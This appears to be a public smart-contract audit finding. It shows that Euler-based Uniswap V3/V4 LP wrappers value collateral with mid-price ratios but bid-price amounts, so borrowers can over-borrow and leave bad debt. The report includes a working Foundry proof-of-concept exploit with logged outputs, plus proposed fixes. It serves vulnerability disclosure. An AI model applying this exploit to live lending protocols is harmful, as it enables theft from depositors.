## Summary The `ERC721WrapperBase::getSqrtRatioX96()` uses mid prices via `oracle.getQuote()` to calculate the price ratio for LP position valuation, while `ERC721WrapperBase::getQuote()` uses bid prices via `oracle.getQuotes()` for token valuation. This inconsistency causes collateral to be overvalued when there's an asymmetric bid/ask spread, allowing users to borrow more than their collateral is worth and creating bad debt. ## Finding Description The `ERC721WrapperBase` contract implements Euler's bid/ask pricing model, but applies it inconsistently. When calculating the value of a Uniswap LP position: 1. `getSqrtRatioX96()` computes the price ratio using **mid prices** (via `oracle.getQuote()`). 2. `getQuote()` values the resulting token amounts using **bid prices** (via `oracle.getQuotes()`). This creates a mismatch where the LP position's underlying token amounts are calculated assuming mid-price ratios, but are valued at bid prices. ```solidity // FILE: core-contracts/src/ERC721WrapperBase.sol /// @dev https://github.com/euler-xyz/euler-price-oracle/#bidask-pricing for more information about the bid/ask pricing function getQuote(uint256 inAmount, address base) public view returns (uint256 outAmount) { if (evc.isControlCollateralInProgress()) { // mid-point price outAmount = oracle.getQuote(inAmount, base, unitOfAccount); } else { // bid price for collateral @1 (outAmount,) = oracle.getQuotes(inAmount, base, unitOfAccount); //@audit -- Correctly uses bid price for valuation } } function getSqrtRatioX96(address token0, address token1, uint256 unit0, uint256 unit1) public view virtual returns (uint160 sqrtRatioX96) { @2 uint256 token0UnitValue = oracle.getQuote(unit0, token0, unitOfAccount); //@audit -- Incorrectly uses mid price instead of bid @2 uint256 token1UnitValue = oracle.getQuote(unit1, token1, unitOfAccount); //@audit -- Incorrectly uses mid price instead of bid sqrtRatioX96 = SafeCast.toUint160(Math.sqrt(token0UnitValue * (1 << 96) / token1UnitValue) << 48); } ``` The `calculateValueOfTokenId()` in both `UniswapV3Wrapper` and `UniswapV4Wrapper` calls `getSqrtRatioX96()` to determine token amounts, then `getQuote()` to value them: ```solidity // FILE: core-contracts/src/uniswap/UniswapV3Wrapper.sol function calculateValueOfTokenId(uint256 tokenId, uint256 amount) public view override returns (uint256) { @3 uint160 sqrtRatioX96 = getSqrtRatioX96(token0, token1, unit0, unit1); //@audit -- Uses mid-price ratio @4 (uint256 amount0, uint256 amount1) = previewUnwrap(tokenId, sqrtRatioX96, amount); //@audit -- Calculates amounts based on mid-price ratio @5 uint256 amount0InUnitOfAccount = getQuote(amount0, token0); //@audit -- Values at bid price @5 uint256 amount1InUnitOfAccount = getQuote(amount1, token1); //@audit -- Values at bid price return amount0InUnitOfAccount + amount1InUnitOfAccount; } ``` **Note: The same vulnerability also exists in `UniswapV4Wrapper` with identical behavior.** **Written Proof of Concept:** 1. Attacker mints a Uniswap V3/V4 LP position with equal amounts of `token0` and `token1`. 2. Attacker wraps the position in `UniswapV3Wrapper` or `UniswapV4Wrapper` and enables it as collateral. 3. Oracle reports asymmetric bid/ask spread: `token0` has bid=0.9, mid=1.0 (10% haircut), while `token1` has bid=mid=1.0. 4. System calculates collateral value using mid-price ratio (1:1), determining equal token amounts. 5. System then values those amounts at bid prices, but the ratio used was wrong. 6. The correct calculation should use bid-price ratio (0.9:1), which would show more `token0` and less `token1`. 7. Attacker borrows against the inflated collateral value. 8. When the mid price aligns with the bid (market correction), the collateral value drops below the debt, creating a bad debt. *Please refer to the coded PoC for solid proof.* ## Impact Explanation **Impact: High** This vulnerability allows users to borrow more than their collateral is actually worth based on the oracle's bid prices. The overvaluation can be significant: - With a realistic 10% asymmetric haircut: 5% collateral overvaluation (Refer to the PoC). - With extreme spreads (90% haircut): 449% collateral overvaluation (Refer to the PoC). When the mid price eventually aligns with the bid price (or the spread normalizes), the protocol is left with bad debt that cannot be recovered even through liquidation. This directly impacts the solvency of lending vaults that accept these LP positions as collateral. ## Likelihood Explanation **Likelihood: Medium** The vulnerability manifests whenever: 1. An oracle reports asymmetric bid/ask spreads for tokens in an LP pair. 2. Users have LP positions as collateral. Per Euler's documentation, bid/ask spreads are an expected feature of their oracle system, designed to reflect market uncertainty and volatility. The documentation explicitly mentions widening spreads during high volatility periods. As DeFi oracles mature and more support bid/ask pricing (per Euler's roadmap), this vulnerability becomes increasingly likely to trigger. The attack doesn't require special permissions - any user with an LP position can exploit this when oracle spreads are asymmetric. ## Proof of Concept Place the code below in the `core-contracts/test/exploit/BidAskRatioMismatch_UniswapV3.t.sol` file. The test suite contains two tests: 1. `test_bid_ask_ratio_mismatch_overvalues_collateral()` - This test demonstrates how using mid-ratio pricing (instead of bid-ratio) for Uniswap V3 LP collateral can lead to systematic overvaluation and bad debt creation. 2. `test_realistic_spread_still_causes_overvaluation()` - This test proves that even with realistic market spreads (not extreme values), the overvaluation vulnerability still exists. Run the tests with: `forge test --match-contract BidAskRatioMismatchUniswapV3POC -vvv` (Both tests will be executed). The test `test_bid_ask_ratio_mismatch_overvalues_collateral()` demonstrates: 1. An attacker creates an LP position and wraps it as collateral. 2. With asymmetric oracle haircut (bid=0.1, mid=1.0 for `token0`), the system reports collateral value of ~550 units. 3. The correct bid-ratio value is only ~100 units (449% overvaluation). 4. Attacker borrows ~275 units (50% of inflated value). 5. When mid price aligns with bid, collateral drops to ~100 units while debt remains ~275 units. 6. Result: ~175 units of bad debt (63% protocol loss). The test `test_realistic_spread_still_causes_overvaluation()` demonstrates: 1. An attacker creates an LP position and wraps it as collateral. 2. With a realistic 10% oracle haircut (bid=0.9, mid=1.0 for `token0`), the system reports collateral value of ~950 units. 3. The correct bid-ratio value is only ~901 units (5% overvaluation). 4. This ~48 unit overvaluation occurs with spreads commonly seen during normal market volatility. 5. Result: Even conservative real-world spreads allow borrowing against inflated collateral values. While the extreme 90% haircut scenario in `test_bid_ask_ratio_mismatch_overvalues_collateral()` shows catastrophic 449% overvaluation, the test `test_realistic_spread_still_causes_overvaluation()` proves the vulnerability isn't limited to edge cases. A modest 10% bid/ask spread—typical during periods of market stress or for less liquid tokens—still produces 5% collateral overvaluation. Over time or at scale, this systematic mispricing accumulates into significant protocol risk (See the expected outputs below). **Note: The same vulnerability also exists in `UniswapV4Wrapper` with identical behavior.** ```solidity // FILE: core-contracts/test/exploit/BidAskRatioMismatch_UniswapV3.t.sol // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.8.13; import {BaseSetup, INonfungiblePositionManager} from "test/invariant/BaseSetup.sol"; import {UniswapV3Wrapper} from "src/uniswap/UniswapV3Wrapper.sol"; import {Math} from "lib/openzeppelin-contracts/contracts/utils/math/Math.sol"; import {SafeCast} from "lib/v3-core/contracts/libraries/SafeCast.sol"; import {console} from "forge-std/console.sol"; /// @notice PoC: getSqrtRatioX96() uses mid price while valuation uses bid prices. /// With asymmetric bid haircuts, collateral can be overvalued and allow over-borrowing. /// /// ROOT CAUSE: /// - ERC721WrapperBase::getSqrtRatioX96() always uses oracle.getQuote() (mid price) /// - ERC721WrapperBase::getQuote() for token valuation uses oracle.getQuotes() (bid price) for collateral /// - This mismatch causes collateral overvaluation when bid < mid /// /// IMPACT: Users can borrow more than their collateral is worth, creating bad debt. contract BidAskRatioMismatchUniswapV3POC is BaseSetup { using SafeCast for uint256; UniswapV3Wrapper internal wrapper; function setUp() public override { super.setUp(); wrapper = new UniswapV3Wrapper( address(evc), address(nonFungiblePositionManager), address(oracle), unitOfAccount, address(v3Pool) ); oracle.setPrice(address(wrapper), unitOfAccount, 1e18); eTokenAVault.setLTV(address(wrapper), 0.9e4, 0.9e4, 0); } function test_bid_ask_ratio_mismatch_overvalues_collateral() public { address attacker = makeAddr("attacker"); _fundVaultLiquidity(); uint256 tokenId = _mintWrapAndEnable(attacker); console.log("=== UNISWAP V3 BID/ASK RATIO MISMATCH PoC ===\n"); // Step 1: Set up asymmetric haircut oracle console.log("STEP 1: Configure asymmetric bid/ask spread"); console.log(" token0: mid=1.0, bid=0.1 (90% haircut)"); console.log(" token1: mid=1.0, bid=1.0 (no haircut)\n"); _setHaircutOracle(); // Step 2: Show the valuation mismatch uint256 balanceTokenId = wrapper.balanceOf(attacker, tokenId); uint256 midRatioValue = wrapper.calculateValueOfTokenId(tokenId, balanceTokenId); uint256 bidRatioValue = _bidRatioValue(tokenId, balanceTokenId); console.log("STEP 2: Collateral valuation comparison"); console.log(" Mid-ratio value (USED BY SYSTEM):", midRatioValue); console.log(" Bid-ratio value (CORRECT VALUE): ", bidRatioValue); console.log(" Overvaluation amount: ", midRatioValue - bidRatioValue); console.log(" Overvaluation percentage: ", ((midRatioValue - bidRatioValue) * 100) / bidRatioValue, "%\n"); assertGt(midRatioValue, bidRatioValue, "mid ratio should overvalue vs bid ratio"); // Step 3: Borrow against inflated collateral value uint256 borrowAmount = midRatioValue / 2; console.log("STEP 3: Borrow against inflated value"); console.log(" Borrow amount (50% of mid-ratio):", borrowAmount); vm.prank(attacker); eTokenAVault.borrow(borrowAmount, attacker); console.log(" Borrow successful!\n"); // Step 4: Align mid with bid (price drops to match bid) console.log("STEP 4: Mid price aligns with bid (market correction)"); oracle.setPrice(address(token0), unitOfAccount, 1e17); uint256 newCollateralValue = wrapper.balanceOf(attacker); uint256 debt = eTokenAVault.debtOf(attacker); console.log(" New collateral value:", newCollateralValue); console.log(" Outstanding debt: ", debt, "\n"); console.log("RESULT: BAD DEBT CREATED"); console.log(" Debt exceeds collateral by:", debt - newCollateralValue); console.log(" Protocol loss percentage: ", ((debt - newCollateralValue) * 100) / debt, "%"); assertLt(newCollateralValue, (borrowAmount * 10) / 9, "actual LTV should exceed 90%"); // Actual LTV exceeds 90% assertGt(debt, newCollateralValue, "debt should exceed collateral value"); // Debt exceeds collateral value } /// @notice Same vulnerability with realistic 10% haircut (bid=0.9, mid=1.0) /// This demonstrates the bug exists even with normal market spreads function test_realistic_spread_still_causes_overvaluation() public { address attacker = makeAddr("attacker"); _fundVaultLiquidity(); uint256 tokenId = _mintWrapAndEnable(attacker); console.log("=== REALISTIC 10% SPREAD SCENARIO ===\n"); // Set up realistic 10% haircut (common during volatility) console.log("Oracle config: token0 mid=1.0, bid=0.9 (10% haircut)\n"); oracle.setPrice(address(token0), unitOfAccount, 1e18); oracle.setPrice(address(token1), unitOfAccount, 1e18); oracle.setPrices(address(token0), unitOfAccount, 0.9e18, 1e18); // 10% haircut oracle.setPrices(address(token1), unitOfAccount, 1e18, 1e18); uint256 balanceTokenId = wrapper.balanceOf(attacker, tokenId); uint256 midRatioValue = wrapper.calculateValueOfTokenId(tokenId, balanceTokenId); uint256 bidRatioValue = _bidRatioValue(tokenId, balanceTokenId); console.log("Mid-ratio value (USED BY SYSTEM):", midRatioValue); console.log("Bid-ratio value (CORRECT VALUE): ", bidRatioValue); console.log("Overvaluation amount: ", midRatioValue - bidRatioValue); uint256 overvaluationPct = ((midRatioValue - bidRatioValue) * 100) / bidRatioValue; console.log("Overvaluation percentage: ", overvaluationPct, "%\n"); // Even with 10% spread, there's meaningful overvaluation assertGt(midRatioValue, bidRatioValue, "overvaluation should exist even with small spread"); // Overvaluation exists even with small spread assertGt(overvaluationPct, 0, "percentage overvaluation should be non-zero"); // Percentage overvaluation is non-zero console.log("CONCLUSION: Even realistic spreads cause collateral overvaluation"); } function _fundVaultLiquidity() internal { address lender = makeAddr("lender"); uint256 vaultLiquidity = 1_000_000e18; deal(address(tokenA), lender, vaultLiquidity); vm.startPrank(lender); tokenA.approve(address(eTokenAVault), type(uint256).max); eTokenAVault.deposit(vaultLiquidity, lender); vm.stopPrank(); } function _mintWrapAndEnable(address attacker) internal returns (uint256 tokenId) { deal(address(token0), attacker, 500e18); deal(address(token1), attacker, 500e18); vm.startPrank(attacker); token0.approve(address(nonFungiblePositionManager), type(uint256).max); token1.approve(address(nonFungiblePositionManager), type(uint256).max); (tokenId,,,) = nonFungiblePositionManager.mint( INonfungiblePositionManager.MintParams({ token0: address(token0), token1: address(token1), fee: fee, tickLower: -60, tickUpper: 60, amount0Desired: 500e18, amount1Desired: 500e18, amount0Min: 0, amount1Min: 0, recipient: attacker, deadline: block.timestamp }) ); nonFungiblePositionManager.approve(address(wrapper), tokenId); wrapper.wrap(tokenId, attacker); wrapper.enableTokenIdAsCollateral(tokenId); evc.enableCollateral(attacker, address(wrapper)); evc.enableController(attacker, address(eTokenAVault)); vm.stopPrank(); } function _setHaircutOracle() internal { oracle.setPrice(address(token0), unitOfAccount, 1e18); oracle.setPrice(address(token1), unitOfAccount, 1e18); oracle.setPrices(address(token0), unitOfAccount, 1e17, 1e18); // bid (0.1) < mid (1.0) oracle.setPrices(address(token1), unitOfAccount, 1e18, 1e18); } function _bidRatioValue(uint256 tokenId, uint256 balanceTokenId) internal view returns (uint256) { (uint256 bid0,) = oracle.getQuotes(wrapper.unit0(), address(token0), unitOfAccount); (uint256 bid1,) = oracle.getQuotes(wrapper.unit1(), address(token1), unitOfAccount); uint160 sqrtRatioX96Bid = SafeCast.toUint160(Math.sqrt(bid0 * (1 << 96) / bid1) << 48); (uint256 amount0, uint256 amount1) = wrapper.previewUnwrap(tokenId, sqrtRatioX96Bid, balanceTokenId); return wrapper.getQuote(amount0, address(token0)) + wrapper.getQuote(amount1, address(token1)); } } ``` The outputs below are expected for both test cases. **Expected Outputs:** ```bash [PASS] test_bid_ask_ratio_mismatch_overvalues_collateral() (gas: 1918837) Logs: === UNISWAP V3 BID/ASK RATIO MISMATCH PoC === STEP 1: Configure asymmetric bid/ask spread token0: mid=1.0, bid=0.1 (90% haircut) token1: mid=1.0, bid=1.0 (no haircut) STEP 2: Collateral valuation comparison Mid-ratio value (USED BY SYSTEM): 549999999999999999998 Bid-ratio value (CORRECT VALUE): 100150217703137096282 Overvaluation amount: 449849782296862903716 Overvaluation percentage: 449 % STEP 3: Borrow against inflated value Borrow amount (50% of mid-ratio): 274999999999999999999 Borrow successful! STEP 4: Mid price aligns with bid (market correction) New collateral value: 100150217703137096282 Outstanding debt: 274999999999999999999 RESULT: BAD DEBT CREATED Debt exceeds collateral by: 174849782296862903717 Protocol loss percentage: 63 % [PASS] test_realistic_spread_still_causes_overvaluation() (gas: 1673761) Logs: === REALISTIC 10% SPREAD SCENARIO === Oracle config: token0 mid=1.0, bid=0.9 (10% haircut) Mid-ratio value (USED BY SYSTEM): 949999999999999999998 Bid-ratio value (CORRECT VALUE): 901351959328233866543 Overvaluation amount: 48648040671766133455 Overvaluation percentage: 5 % CONCLUSION: Even realistic spreads cause collateral overvaluation ``` ## Recommendation **Approach 1: Use bid prices in `getSqrtRatioX96()` for consistent collateral valuation.** ```diff function getSqrtRatioX96(address token0, address token1, uint256 unit0, uint256 unit1) public view virtual returns (uint160 sqrtRatioX96) { - uint256 token0UnitValue = oracle.getQuote(unit0, token0, unitOfAccount); - uint256 token1UnitValue = oracle.getQuote(unit1, token1, unitOfAccount); + (uint256 token0UnitValue,) = oracle.getQuotes(unit0, token0, unitOfAccount); + (uint256 token1UnitValue,) = oracle.getQuotes(unit1, token1, unitOfAccount); sqrtRatioX96 = SafeCast.toUint160(Math.sqrt(token0UnitValue * (1 << 96) / token1UnitValue) << 48); } ``` **Approach 2: Create separate functions for mid-price and bid-price ratios, using the appropriate one based on context.** ```solidity function getSqrtRatioX96Bid(address token0, address token1, uint256 unit0, uint256 unit1) public view returns (uint160 sqrtRatioX96) { (uint256 token0UnitValue,) = oracle.getQuotes(unit0, token0, unitOfAccount); (uint256 token1UnitValue,) = oracle.getQuotes(unit1, token1, unitOfAccount); sqrtRatioX96 = SafeCast.toUint160(Math.sqrt(token0UnitValue * (1 << 96) / token1UnitValue) << 48); } function getSqrtRatioX96Mid(address token0, address token1, uint256 unit0, uint256 unit1) public view returns (uint160 sqrtRatioX96) { uint256 token0UnitValue = oracle.getQuote(unit0, token0, unitOfAccount); uint256 token1UnitValue = oracle.getQuote(unit1, token1, unitOfAccount); sqrtRatioX96 = SafeCast.toUint160(Math.sqrt(token0UnitValue * (1 << 96) / token1UnitValue) << 48); } ``` Then update `calculateValueOfTokenId()` to use `getSqrtRatioX96Bid()`. **Approach 3: Mirror the `getQuote()` pattern in `getSqrtRatioX96()` by checking `isControlCollateralInProgress()`.** ```diff function getSqrtRatioX96(address token0, address token1, uint256 unit0, uint256 unit1) public view virtual returns (uint160 sqrtRatioX96) { - uint256 token0UnitValue = oracle.getQuote(unit0, token0, unitOfAccount); - uint256 token1UnitValue = oracle.getQuote(unit1, token1, unitOfAccount); + uint256 token0UnitValue; + uint256 token1UnitValue; + if (evc.isControlCollateralInProgress()) { + token0UnitValue = oracle.getQuote(unit0, token0, unitOfAccount); + token1UnitValue = oracle.getQuote(unit1, token1, unitOfAccount); + } else { + (token0UnitValue,) = oracle.getQuotes(unit0, token0, unitOfAccount); + (token1UnitValue,) = oracle.getQuotes(unit1, token1, unitOfAccount); + } sqrtRatioX96 = SafeCast.toUint160(Math.sqrt(token0UnitValue * (1 << 96) / token1UnitValue) << 48); } ```

Competition	Date	Submissions	Payout
Revert Finance	Mar 18, 2026	2	$0
VII Finance	Jan 12, 2026	2	$2,437
Primev	May 28, 2025	1	$0
Mystic Finance	May 13, 2025	5	$564
Metropolis	Apr 2, 2025	3	$89
Rheo	Feb 26, 2025	3	$4,600

serial-coder

Public reviews